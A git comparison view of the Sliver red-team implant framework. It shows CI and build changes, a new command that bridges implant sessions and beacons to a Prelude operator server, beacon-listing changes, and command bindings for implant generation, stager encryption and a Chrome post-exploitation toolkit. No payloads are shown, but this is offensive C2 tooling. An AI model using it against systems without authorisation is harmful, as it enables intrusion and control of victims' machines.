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Author SHA1 Message Date
moloch-- fb5303ef04 Implemented callback map 2022-08-28 08:03:39 -07:00
moloch-- d6a7c024f8 Merge branch 'prelude/stage' into prelude/client-daemon 2022-08-28 07:57:58 -07:00
moloch-- 2adf0e8cb0 Initial refactor 2022-08-27 07:21:53 -07:00
rkervella c2cacb5e1e Merge branch 'master' into prelude/stage 2022-08-26 14:01:37 -07:00
rkervella d7e0293647 WIP extensions 2022-08-25 10:59:49 -07:00
rkervella 82d500ceec Merge branch 'master' into fix/prelude 2022-08-24 14:03:27 -07:00
rkervella a3f5dcd54a WIP prelude update 2022-08-24 11:03:56 -07:00
rkervella 37ff504164 WIP 2022-08-23 17:33:55 -07:00
rkervella 552093c7b6 Fix Windows executor 2022-08-23 14:42:00 -07:00
rkervella 7a143c58e6 Remove useless call to a.GetID() 2022-08-23 14:41:46 -07:00
2522 changed files with 42451 additions and 654821 deletions

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+2 -1
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@@ -1 +1,2 @@
* @BishopFox/red-team
* @moloch--
* @rkervella
-16
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@@ -1,16 +0,0 @@
# Basic set up for three package managers
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Maintain dependencies for go
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
+111 -106
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@@ -6,55 +6,57 @@ on:
branches: [master, goreleaser]
jobs:
linux-windows-build:
name: Linux & Windows Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v2
with:
name: linux
path: ./sliver-*
- name: Linux Artifacts
uses: actions/upload-artifact@v3
with:
name: linux
path: ./sliver-*
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v3
with:
name: windows
path: ./sliver-*
- name: Windows Artifacts
uses: actions/upload-artifact@v2
with:
name: windows
path: ./sliver-*
macos-build:
name: MacOS Build
@@ -62,40 +64,42 @@ jobs:
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Mingw
run: brew install mingw-w64
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Go Assets
run: ./go-assets.sh
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: MacOS Artifacts
uses: actions/upload-artifact@v3
with:
name: macos
path: ./sliver-*
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
with:
name: macos
path: ./sliver-*
tagged-release:
needs: [linux-windows-build, macos-build]
name: "Tagged Release"
@@ -104,52 +108,53 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
with:
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
+7 -7
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@@ -17,13 +17,13 @@ jobs:
steps:
# Setup go environment
- name: Go 1.19
uses: actions/setup-go@v3
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: "1.19.1"
go-version: "1.18.5"
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v2
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -55,14 +55,14 @@ jobs:
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v3
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
uses: github/codeql-action/init@v1
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
@@ -72,6 +72,6 @@ jobs:
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2
uses: github/codeql-action/analyze@v1
env:
VERSION: ${{github.sha}}
+45 -42
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@@ -1,7 +1,7 @@
name: Build & Test
on:
push:
branches:
branches:
- test/*
pull_request:
branches:
@@ -13,67 +13,70 @@ on:
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make linux
- name: Make
run: make linux
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Mingw
run: brew install mingw-w64
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make macos
- name: Go Assets
run: ./go-assets.sh
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make
run: make macos
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
+5 -4
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@@ -1,4 +1,4 @@
FROM golang:1.19.1
FROM golang:1.18.5
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -52,10 +52,11 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& ./go-assets.sh
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
+1 -1
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@@ -5,7 +5,7 @@
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
+1 -2
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@@ -26,7 +26,6 @@ import (
"io/ioutil"
"log"
"os"
"path"
"path/filepath"
)
@@ -70,7 +69,7 @@ func GetConfigs() map[string]*ClientConfig {
confs := map[string]*ClientConfig{}
for _, confFile := range configFiles {
confFilePath := path.Join(configDir, confFile.Name())
confFilePath := filepath.Join(configDir, confFile.Name())
log.Printf("Parsing config %s", confFilePath)
conf, err := ReadConfig(confFilePath)
+21 -9
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@@ -35,12 +35,33 @@ import (
const (
logFileName = "sliver-client.log"
configFlagStr = "config"
preludeServerFlagStr = "server"
rangeFlagStr = "range"
aesKeyFlagStr = "aes-key"
)
var (
sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
)
func init() {
// Import
rootCmd.AddCommand(cmdImport)
// Prelude
cmdPrelude.Flags().StringP(configFlagStr, "c", "", "sliver client config file path")
cmdPrelude.Flags().StringP(preludeServerFlagStr, "s", "", "prelude server connection string")
cmdPrelude.Flags().StringP(rangeFlagStr, "r", "", "prelude range")
cmdPrelude.Flags().StringP(aesKeyFlagStr, "a", "", "prelude range")
rootCmd.AddCommand(cmdPrelude)
// Version
rootCmd.AddCommand(cmdVersion)
}
// Initialize logging
func initLogging(appDir string) *os.File {
log.SetFlags(log.LstdFlags | log.Lshortfile)
@@ -52,15 +73,6 @@ func initLogging(appDir string) *os.File {
return logFile
}
func init() {
// Import
rootCmd.AddCommand(cmdImport)
// Version
rootCmd.AddCommand(cmdVersion)
}
var rootCmd = &cobra.Command{
Use: "sliver-client",
Short: "",
+131
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@@ -0,0 +1,131 @@
package cli
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
"os"
"sync"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra"
)
var cmdPrelude = &cobra.Command{
Use: "prelude",
Short: "Start client as a Prelude bridge",
Long: ``,
Run: func(cmd *cobra.Command, args []string) {
confFilePath, err := cmd.Flags().GetString("config")
if err != nil {
log.Printf("[!] %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
config, err := assets.ReadConfig(confFilePath)
if err != nil {
log.Printf("[!] Failed to read config file: %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
preludeServer, err := cmd.Flags().GetString(preludeServerFlagStr)
if err != nil {
log.Printf("[!] %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
agentRange, err := cmd.Flags().GetString(rangeFlagStr)
if err != nil {
log.Printf("[!] %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
aesKey, err := cmd.Flags().GetString(aesKeyFlagStr)
if err != nil {
log.Printf("[!] %s", err)
fmt.Printf("%s\n", err)
os.Exit(1)
}
fmt.Printf("Prelude relay mode, connecting to %s ... ", preludeServer)
log.Printf("Prelude relay mode, connecting to %s ...", preludeServer)
rpc, _, err := transport.MTLSConnect(config)
if err != nil {
log.Printf("[!] Failed to connect to server %s", err)
fmt.Printf("%s\n", err)
os.Exit(2)
}
fmt.Println("success!")
log.Printf("Connection successful")
preludeConfig := &prelude.OperatorConfig{
Range: agentRange,
OperatorURL: preludeServer,
RPC: rpc,
AESKey: aesKey,
}
implantMapper := prelude.InitImplantMapper(preludeConfig)
sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
log.Printf("[!] Could not get session list: %s", err)
os.Exit(3)
}
if len(sessions.Sessions) > 0 {
log.Printf("Adding existing sessions ...")
for _, session := range sessions.Sessions {
if !session.IsDead {
err = implantMapper.AddImplant(session, nil)
if err != nil {
log.Printf("[!] Could not add session %s to implant mapper: %s", session.Name, err)
}
}
}
log.Printf("Done !")
}
beacons, err := rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
log.Printf("[!] Could not get beacon list: %s", err)
os.Exit(3)
}
if len(beacons.Beacons) > 0 {
log.Printf("Adding existing beacons ...")
// I'm not sure this callback map is actually needed
type BeaconTaskCallback func(*clientpb.BeaconTask)
beaconTaskCallbacks := map[string]BeaconTaskCallback{}
beaconTaskCallbacksMutex := &sync.Mutex{}
for _, beacon := range beacons.Beacons {
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
beaconTaskCallbacksMutex.Lock()
defer beaconTaskCallbacksMutex.Unlock()
beaconTaskCallbacks[taskID] = cb
})
if err != nil {
log.Printf("[!] Could not add beacon %s to implant mapper: %s", beacon.Name, err)
}
}
}
},
}
+38 -9
View File
@@ -109,8 +109,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -120,7 +119,6 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
@@ -143,10 +141,42 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
color = console.Green
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
// We need a slice of strings so we can apply filters
var rowEntries []string
if wideTermWidth {
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -156,9 +186,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
}
} else {
rowEntries = []string{
@@ -167,8 +196,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
}
}
// Build the row struct
+3 -250
View File
@@ -23,7 +23,7 @@ package command
Guidelines when adding a command:
* Try to reuse the same short/long flags for the same parameter,
* Try to reuse the same short/long flags for the same paramenter,
e.g. "timeout" flags should always be -t and --timeout when possible.
Try to avoid creating flags that conflict with others even if you're
not using the flag, e.g. avoid using -t even if your command doesn't
@@ -42,7 +42,6 @@ import (
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -66,7 +65,6 @@ import (
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/rportfwd"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
@@ -457,7 +455,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -484,7 +481,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -520,6 +516,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
@@ -719,28 +716,6 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
tasksCmd.AddCommand(&grumble.Command{
Name: consts.CancelStr,
Help: "Cancel a pending beacon task",
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon task ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksCancelCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
@@ -902,9 +877,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Args: func(a *grumble.Args) {
a.String("session", "session ID", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return use.BeaconAndSessionIDCompleter(prefix, args, con)
},
Run: func(ctx *grumble.Context) error {
con.Println()
info.InfoCmd(ctx, con)
@@ -1345,7 +1317,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1403,7 +1374,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1556,7 +1526,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -1620,7 +1589,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -2538,59 +2506,6 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(registryCmd)
// [ Reverse Port Forwarding ] --------------------------------------------------------------
rportfwdCmd := &grumble.Command{
Name: consts.RportfwdStr,
Help: "reverse port forwardings",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.RportFwdListenersCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.AddStr,
Help: "Add and start reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StartRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
},
HelpGroup: consts.SliverWinHelpGroup,
})
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Stop and remove reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StopRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
},
HelpGroup: consts.SliverWinHelpGroup,
})
con.App.AddCommand(rportfwdCmd)
// [ Pivots ] --------------------------------------------------------------
pivotsCmd := &grumble.Command{
@@ -3383,168 +3298,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
// [ Curse Commands ] ------------------------------------------------------------
cursedCmd := &grumble.Command{
Name: consts.Cursed,
Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
LongHelp: help.GetHelpFor([]string{consts.Cursed}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCmd(ctx, con)
con.Println()
return nil
},
}
cursedCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a Curse from a process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "kill", false, "kill the process after removing the curse")
},
Args: func(a *grumble.Args) {
a.Int("bind-port", "bind port of the Cursed process to stop")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedRmCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedConsole,
Help: "Start a JavaScript console connected to a debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
